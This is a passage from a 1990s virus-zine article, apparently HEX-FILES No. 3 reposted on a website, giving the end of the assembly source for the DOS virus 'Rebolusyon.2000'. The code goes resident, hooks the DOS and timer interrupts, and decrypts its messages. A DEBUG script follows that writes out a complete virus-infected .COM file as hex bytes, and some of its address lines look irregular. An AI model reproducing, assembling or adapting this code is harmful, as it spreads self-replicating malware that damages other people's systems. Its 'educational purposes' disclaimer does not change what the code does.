;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ our first generation routine

;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ Although the virus loads in the highest
;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ available memory, we will load it as a
;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ low memory TSR. This would not affect the
;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ function of the virus in any way. The virus
;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ will revert to highest memory load, once it
;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ is loaded to memory through a file infected
;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ by this first generation and succeeding
;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ infections. Low memory load is resorted to
;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ to make things easier for us.

FirstGeneration:
mov ax,cs
mov ss,ax
mov sp,offset Pers8+80h
mov ds,ax
mov es,ax
mov ax,'vz' ;ÄÄÄÄÄÄÄÄÄÄ check if in memory
int 21h
cmp ax,'VZ'
jne Pers1
call Pers7
call Pers7
mov ax,4cffh
int 21h
even
Pers1: xor cx,cx
mov bp,cx
cld
mov si,offset Messages
Pers2: lodsb ;ÄÄÄÄÄÄÄÄÄÄ encrypt messages
mov di,si
or al,al
jz Pers4
mov cl,al
Pers3: lodsb
neg al
stosb
loop Pers3
jmp Pers2
even
Pers4: lodsb
mov di,si
mov cl,al
Pers5: lodsb
neg al
stosb
loop Pers5
or bp,bp
jnz Pers6
inc bp
jmp Pers4
even
Pers6: mov ax,cs
sub ax,16
mov es,ax
mov es,es:2ch ;ÄÄÄÄÄÄÄÄÄÄ release environment
mov ah,49h
int 21h
mov ax,3521h
int 21h
mov word ptr Int21Vector,bx
mov word ptr Int21Vector+2,es
mov ax,351ch
int 21h
mov word ptr Int1cVector,bx
mov word ptr Int1cVector+2,es
mov ax,251ch ;ÄÄÄÄÄÄÄÄÄÄ hook int 1c
mov dx,offset isTimer
int 21h
mov ax,2521h ;ÄÄÄÄÄÄÄÄÄÄ hook int 21
mov dx,offset isDos
int 21h
call Pers7
mov ax,3100h ;ÄÄÄÄÄÄÄÄÄÄ tsr
mov dx,MemRequired+16
int 21h
even
Pers7: mov ax,0e07h ;ÄÄÄÄÄÄÄÄÄÄ beep
mov bx,0
int 10h
ret
even
Pers8 db 4 dup (?)

Rebolusyon ends

end FirstGeneration

ÄÄ REBLUSYN.ASM ENDS HERE ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ



The following debug script contains a file infected by a virus
compiled from the above program listing using TASM 2.01.


ÄÄ REB2000A.SCR STARTS HERE ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ

N REB2000A.COM
F 0100 04EF 20
E 0100 E8 E5 03 0D 20 20 20 0D 0A 4D 61 62 75 68 61 79
E 0110 21 0D 0A 0A 54 68 69 73 20 69 73 20 52 65 62 6F
E 0120 6C 75 73 79 6F 6E 2E 32 30 30 30 2E 41 20 76 69
E 0130 72 75 73 20 63 6F 6D 69 6E 67 20 74 6F 20 79 6F
E 0140 75 20 66 72 6F 6D 20 74 68 65 20 50 68 69 6C 69
E 0150 70 70 69 6E 65 73 2E 0D 0A 42 72 6F 75 67 68 74
E 0161 74 6F 20 79 6F 75 20 6C 69 76 65 20 62 79
E 0170 48 45 58 2D 46 49 4C 45 53 20 4E 6F 2E 20 33 0D
E 0180 0A 0A 48 45 58 2D 46 49 4C 45 53 20 61 6E 64
E 0190 50 75 74 6F 6B 73 61 20 4B 61 77 61 79 61 6E
E 01A0 61 72 65 20 6E 6F 74 20 72 65 73 70 6F 6E 73 69
E 01B0 62 6C 65 20 66 6F 72 20 61 63 74 75 61 6C 2C
E 01C0 69 6D 70 6C 69 65 64 0D 0A 61 6E 64 2F 6F 72
E 01D0 69 6D 61 67 69 6E 61 72 79 20 64 61 6D 61 67 65
E 01E1 61 72 69 73 69 6E 67 20 64 69 72 65 63 74 6C
E 01F0 79 20 6F 72 20 69 6E 64 69 72 65 63 74 6C 79
E 0200 66 72 6F 6D 20 74 68 65 20 75 73 65 2C 20 6D 69
E 0210 73 75 73 65 0D 0A 6F 72 20 6E 6F 6E 2D 75 73 65
E 0221 6F 66 20 74 68 69 73 20 70 72 6F 67 72 61 6D
E 0230 2E 20 54 68 65 20 70 65 72 73 6F 6E 20 77 68 6F
E 0241 65 78 65 63 75 74 65 73 20 74 68 69 73 20 70
E 0250 72 6F 67 72 61 6D 20 62 65 61 72 73 20 66 75 6C
E 0260 6C 0D 0A 72 65 73 70 6F 6E 73 69 62 69 6C 69 74
E 0270 79 20 66 6F 72 20 68 69 73 2F 68 65 72 20 61 63
E 0280 74 69 6F 6E 73 2E 0D 0A 0A 54 68 69 73 20 70 72
E 0290 6F 67 72 61 6D 20 69 73 20 73 74 72 69 63 74 6C
E 02A0 79 20 66 6F 72 20 65 64 75 63 61 74 69 6F 6E 61
E 02B0 6C 20 6F 72 20 72 65 73 65 61 72 63 68 20 70 75
E 02C0 72 70 6F 73 65 73 20 6F 6E 6C 79 2E 0D 0A 0A 0A
E 02D0 24 08 20 1A 0E 1F BA 07 01 B4 09 CD 21 B4 4C CD
E 02E0 21
E 04E8 E8 03 00 E9 44 05 5E 83
E 04F0 EE 03 06 56 0E 1F 0E 07 8B 9C 04 00 81 C6 26 00
E 0500 8B FE B9 E4 03 FC AD 03 C3 AB E2 FA 5E 07 A4 34
E 0510 BC 7A 78 C0 C3 FA 30 19 48 BB C1 0A BC FB 40 B4
E 0520 C3 FB 40 B8 C3 F4 47 9F 77 02 4A 8F 79 02 C2 19
E 0530 B7 29 BB A7 73 02 47 7F 7E 02 5F FB BD 84 40 BF
E 0540 C3 9C BE FB 14 B3 BC FB BB DB 12 19 C2 B2 36 71
E 0550 89 1C F9 54 12 6F 22 87 7C 43 4A D3 A4 5D BC 6D
E 0560 CD 85 DA FD BC 7B A7 A5 BC AE 06 C8 DD E2 0D FB
E 0570 2E 46 48 BB BF 00 BF FA E2 9D BE FA 47 C2 04 89
E 0580 94 C2 C2 FB BC 02 BC 08 DB 88 83 2E BB B4 A0 FE
E 0590 B8 EE 61 01 DB B2 D8 2F 89 1C 45 19 84 02 48 01
E 05A0 86 02 6C 1C 89 1C 45 19 88 02 48 01 8A 02 74 17
E 05B0 E1 B4 9F FB 89 1C 6C 1C 76 05 BD C7 DD 01 DB 58
E 05C0 7F AF 04 B6 65 FB 89 1C 47 F3 7F 4B DA B2 FC FA
E 05D0 4A D3 3F 39 28 FB BC 6F C9 F0 C2 68 BC FB 30 01
E 05E0 EA C0 C2 B0 C3 FB EA F8 CA CA C3 19 14 29 BB 29
E 05F0 84 02 EA 7A FA B0 C3 FA 30 04 EA C0 C2 B0 C3 FA
E 0600 A4 1D BE 37 36 71 31 FF 74 55 12 CA F9 FA 07 6F
E 0610 C4 7A B8 38 30 FE A5 E3 BC 4A 0F 4C 0E 51 13 19
E 0620 C2 F6 75 7A BC 18 C3 85 B6 AB BC EC 6A 29 82 01
E 0630 81 02 BC 7B 39 F8 14 40 31 0D 3D 78 B7 29 01 70
E 0640 C7 28 82 01 81 02 BD E5 D4 E3 69 FB 3D 78 B9 4A
E 0650 09 70 B2 7C 39 F6 EA 3D 31 EA 3D 78 B0 3E 0B 6F
E 0660 A4 AF EB C7 DD 4C DA AE D6 08 DB B4 07 05 89 1C
E 0670 70 49 DB 54 EF C3 89 1C 0E 19 70 15 C2 19 47 D5
E 0680 89 1C DB 54 2E 6E EA 7D FA 61 C6 FA 33 04 EA 7B
E 0690 FA 5F C6 E2 BF 6C 1E 29 B2 01 8C 02 CB 6E C6 28
E 06A0 5C 5C C6 1E DB 36 DA 6E 0C B3 BD 3D EF C3 89 1C
E 06B0 74 FD F9 96 EA F9 DA C6 C3 6C FA 85 94 4D DA 08
E 06C0 DB 08 C3 B2 DA FC 3C 39 81 02 BC 6F BF B2 7C FD
E 06D0 BB CB 2E 0E 74 FC 13 86 D2 5D C6 85 CA 5B C6 7A
E 06E0 9D DB 3C C4 DA C7 DD AE FA C7 DD B2 BD 3D DB 54
E 06F0 EA 84 CA 5A C6 AF BC C7 DD 01 DB 59 1A 55 15 56
E 0700 14 29 BB 29 88 02 70 3A 76 64 C6 B3 D4 FA 89 1C
E 0710 2F FE A5 8D BC 9B 35 05 5F B6 C3 9B 33 05 5F B8
E 0720 C3 9B 39 05 5F B2 C3 9B 3B 05 5F B4 C3 9B 2D 05
E 0730 76 0B BC F1 9E 86 B4 86 AE 9C 29 05 04 B5 BC FC
E 0740 B3 DD BF 00 27 05 3F CD BC 33 C2 5F C6 6F 14 34
E 0750 D2 61 C6 6F 0E 4D 0C 26 83 16 92 B4 CC FA B3 EC
E 0760 45 11 39 05 5F 7A C6 7B 7E 4B C4 83 D2 73 C6 9D
E 0770 33 05 74 FB FE 54 15 C8 DD 6C E8 E2 12 FB 2E 22
E 0780 A4 98 BC 6C DE B3 BC FC B3 EC FC 83 D2 65 C6 9D
E 0790 29 05 A4 7C BC 6C CC C1 C2 75 C6 FA BC AE FC B4
E 07A0 25 05 75 13 BC C7 DD BD 70 3A 76 BD C3 B3 BF FA
E 07B0 89 1C 2E 1A A4 64 BC 6C D6 27 BF FA 5F BB C3 E2
E 07C0 CE FA 2E 0A A4 4A BC 6C C6 AE FC B4 7B 02 75 FE
E 07D0 BC C7 DD BD BB 01 82 02 45 39 C0 FA 70 3B 76 FB
E 07E0 BC B3 E2 FA 89 1C 2E 28 7A 21 BC B3 BF FA B8 4C
E 07F0 7B CD C3 B3 03 FC 69 26 C2 FE BC A5 9E F3 70 3B
E 0800 76 CD C3 B3 4A FD 89 1C 15 6D C6 37 4A FD 30 FE
E 0810 B5 E6 BE DC 96 BE 74 FB FE 2D 85 2E 8E C8 DD BD
E 0820 74 FD FE E5 B0 4B 0F 4C 0E 51 DA 00 70 25 89 1C
E 0830 3D F4 87 02 2F FE A5 A3 BC 7A A2 FE BA C1 F6 EA
E 0840 30 FE A5 97 BC B2 FC FA 4A BB E2 F9 F2 43 BC 20
E 0850 BB 31 2A FB E2 F9 F2 66 BC B2 53 29 A4 85 BC 08
E 0860 DB B1 BC E2 4E FB 6F 07 7A 0C C2 AC E5 B0 D4 E2
E 0870 4C FC 72 FC A4 86 BD B3 BF FA A4 CB BD 43 A4 C7
E 0880 BD B0 D4 E2 38 FC 72 FC A4 72 BD B0 D4 E2 2E FC
E 0890 A4 6A BD E2 28 FC A4 64 BD E2 6D FC 9E F6 74 FD
E 08A0 BC C7 CC AB C3 B4 0C FB 6F 09 3C F4 BD 6F BE AD
E 08B0 0B 7B 82 FE A4 46 BD F8 87 DD AB E3 F6 FA 6E 24
E 08C0 72 13 6F 07 A4 36 BD B3 BE FA A4 7B BD 20 4B 01
E 08D0 28 FB E2 89 C2 68 BC 52 70 FB 89 0B EF BA A4 03
E 08E0 BC 01 DB 58 16 54 17 53 7F F5 0C AB F2 E0 FF 52
E 08F0 A2 3B 46 BF A2 3B B7 BE 74 FC BC C7 CC AA CC B4
E 0900 95 FE AA B3 BF 0A 6F FB 89 0B 71 FB 6C D6 76 FB
E 0910 D2 E2 4C FB 6F FC A4 97 BC F8 7E F9 8A 7B BA 08
E 0920 2F EA 76 FB BE E2 38 FB 3C F9 C8 6F BE AA 9B AE
E 0930 D0 E2 3D FB BA BD BA C1 3C F9 C8 70 A4 AC BD B4
E 0940 BD FE A4 7D BC B4 BD 0E A4 77 BC B4 C9 06 A4 71
E 0950 BC AA 97 AE CA B4 C1 06 3C E9 BF E2 4F FB BA C1
E 0960 A4 89 BC 7A 82 FF A4 83 BC F8 82 E3 3F FB 3C E5
E 0970 BE 7A AA 00 A4 75 BC 7A 82 FF A4 6F BC 7A 7E FF
E 0980 A4 69 BC 7A AA FF A4 63 BC AB BF 7A A6 FE BA C1
E 0990 A4 59 BC 7A 82 FD A4 53 BC AB C3 F8 8A 7B A6 FD
E 09A0 A4 49 BC BD 0E AD BC E2 0A FB 16 AE CB F8 7E 85
E 09B0 86 E3 05 FB 7F E3 FC FA 6D 23 E6 C4 A4 39 BC F0
E 09C0 82 FC 30 FD BA C5 7F AB 97 AE CA E2 DF FA 6C D7
E 09D0 6F F9 BA C9 A4 15 BC AA 9B F9 86 F9 82 E3 CD FA
E 09E0 BA C1 A4 07 BC 7A 7E FD A4 01 BC F8 8A E3 BD FA
E 09F0 7F E3 C0 FA A4 01 BC BD 70 FD 89 0B 7F AF C5 C7
E 0A00 CC BD 0D 4D B8 A7 E6 CA 8C E5 46 C3 71 FB 9F 20
E 0A10 0D E3 A0 FA 68 F1 94 AC BD E2 9D FA B2 BD BF 6F
E 0A20 C3 B2 C3 08 89 0B A7 03 82 01 8C 02 CD E2 D0 FA
E 0A30 BA BD 15 DD 97 AC C0 C0 C2 CA C3 5E A4 00 BC DC
E 0A40 B2 55 15 BE EA 7A FA CA C3 FA 3B F3 7F 4E 0D 4D
E 0A50 0D B3 BD 00 75 FB D4 B4 E3 12 89 0B 76 FB BE E2
E 0A60 52 FA 15 83 CA CB C3 B2 C6 FA B2 CC 3C DC BF CD
E 0A70 9C 86 84 4C 70 01 71 FC A4 31 BC AF BE E2 F5 FA
E 0A80 70 02 71 FC A4 2D BC AF BC E2 E1 FA 71 FC A4 1B
E 0A90 BC AF BE E2 DF FA 70 01 71 FC A4 17 BC AF BC E2
E 0AA0 CB FA 15 DD 8A C1 C2 CA C3 72 A4 92 BB 55 15 56
E 0AB0 7F AC BD AD CC E2 C3 FA 7F AC C1 AD C4 E5 B2 4B
E 0AC0 A4 11 BC AA E3 24 7F 25 7D 85 84 F9 80 7B B8 02
E 0AD0 32 FD 70 01 A4 FD BC 52 7F 4C 71 FB 72 13 46 CC
E 0AE0 BE CD 6C FC 89 0B 15 4C 46 C8 46 29 8D 02 8E E0
E 0AF0 44 29 8C 02 A4 48 BB 54 7F 10 69 9A 55 8C 48 DB
E 0B00 49 9A 9C 90 5B 93 53 89 5B 8B 5B 8D 8E CD 8E 07
E 0B10 9C A9 77 B9 6D AF 67 A8 63 AC 6E DA CA AD 5B 99
E 0B20 47 93 5B 82 9C 9A 4E 94 8E CD 8E 07 79 AB 6C CE
E 0B30 6E AB 7B CE 6E B7 76 DA D2 AD 7B AE 67 AD 6D CF
E 0B40 9C 8E 55 9A 9C 8E 5B 8D 55 94 5B 94 5B 84 5B 11
E 0B50 70 A6 6F BA 7A BA 6E CF 9C 8E 55 9A 9C 8E 5B 94
E 0B60 49 9A 49 9A 51 9A D4 AD 7B B0 73 B2 69 BA 90 DB
E 0B70 4F 94 5B DB 4C 9A 48 89 53 82 4D 87 53 90 4D 1D
E 0B80 73 88 47 8F 4D 8D 55 DB 5B 8D 55 DB 6F BA 6C BA
E 0B90 75 AB 7B AF 7B A2 7B AD 75 DB 71 B2 70 A6 69 BA
E 0BA0 6E DA D4 AF 5B 99 5B 87 5B 9A 4E 94 9C AE 5B 90
E 0BB0 5B 99 5B 82 5B 8D 9C D3 71 AE 93 2D 6F 9A 51 9A
E 0BC0 5A 9A 43 9A 4E 94 9C B0 53 8F 47 88 5B 8D 9C 8D
E 0BD0 55 DB 7A 9A 55 8C 4E 94 9C B0 5B 99 5B 99 5B 92
E 0BE0 54 9A 4E DB 94 AE 7B B0 73 B9 7B B0 7B D2 E6 B9
E 0BF0 4A 87 53 88 48 9A 9C 9A 48 DB 6F 9A 4E 86 4E 86
E 0C00 50 9A 48 DB 4E 94 9C A8 5B 8E 5A 9A 43 9A 4E 9A
E 0C10 4E DB 94 BA 6A AE 7B A8 93 25 71 9A 48 92 4C 86
E 0C20 4E 9A 4E DB 4E 94 9C 8E 55 9A 9C B4 47 89 4D 8D
E 0C30 55 DB 6F 9A 51 9A 5A 9A 43 9A 4E DB 94 B0 7B B4
E 0C40 67 AE 7B D2 DD AE 53 94 5B DB 4E 94 9C BA 55 93
E 0C50 5B 8E 9C 8B 5B 89 5B DB 49 9A 9C B9 5B 82 5B 8D
E 0C60 9C D3 70 BA 7A D2 BC 0B 9C DB 77 CD 9C B9 47 90
E 0C70 53 97 9C A0 71 B0 5F DB 9C 1F 7B 8D 55 DB 7A 9A
E 0C80 55 8C 4E 94 9C B7 57 8E 4D 90 4A 9A 48 92 51 8C
E 0C90 4E 94 9C A9 57 99 4D 8F 47 88 43 8C 4E CD BC FA
E 0CA0 BC D4 BC 4A C4 D4 BC E2 A1 FE A5 CC BD FA C0 FA
E 0CB0 0F FA BC EA B4 3B CD FA

RCX
0BB8
W
Q

ÄÄ REB2000A.SCR ENDS HERE ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ





-=<HF3>=-

← previous
next →
loading
sending ...
New to Neperos ? Sign Up for free
download Neperos App from Google Play
install Neperos as PWA

Let's discover also

Recent Articles

Recent Comments

Neperos cookies
This website uses cookies to store your preferences and improve the service. Cookies authorization will allow me and / or my partners to process personal data such as browsing behaviour.

By pressing OK you agree to the Terms of Service and acknowledge the Privacy Policy

By pressing REJECT you will be able to continue to use Neperos (like read articles or write comments) but some important cookies will not be set. This may affect certain features and functions of the platform.
OK
REJECT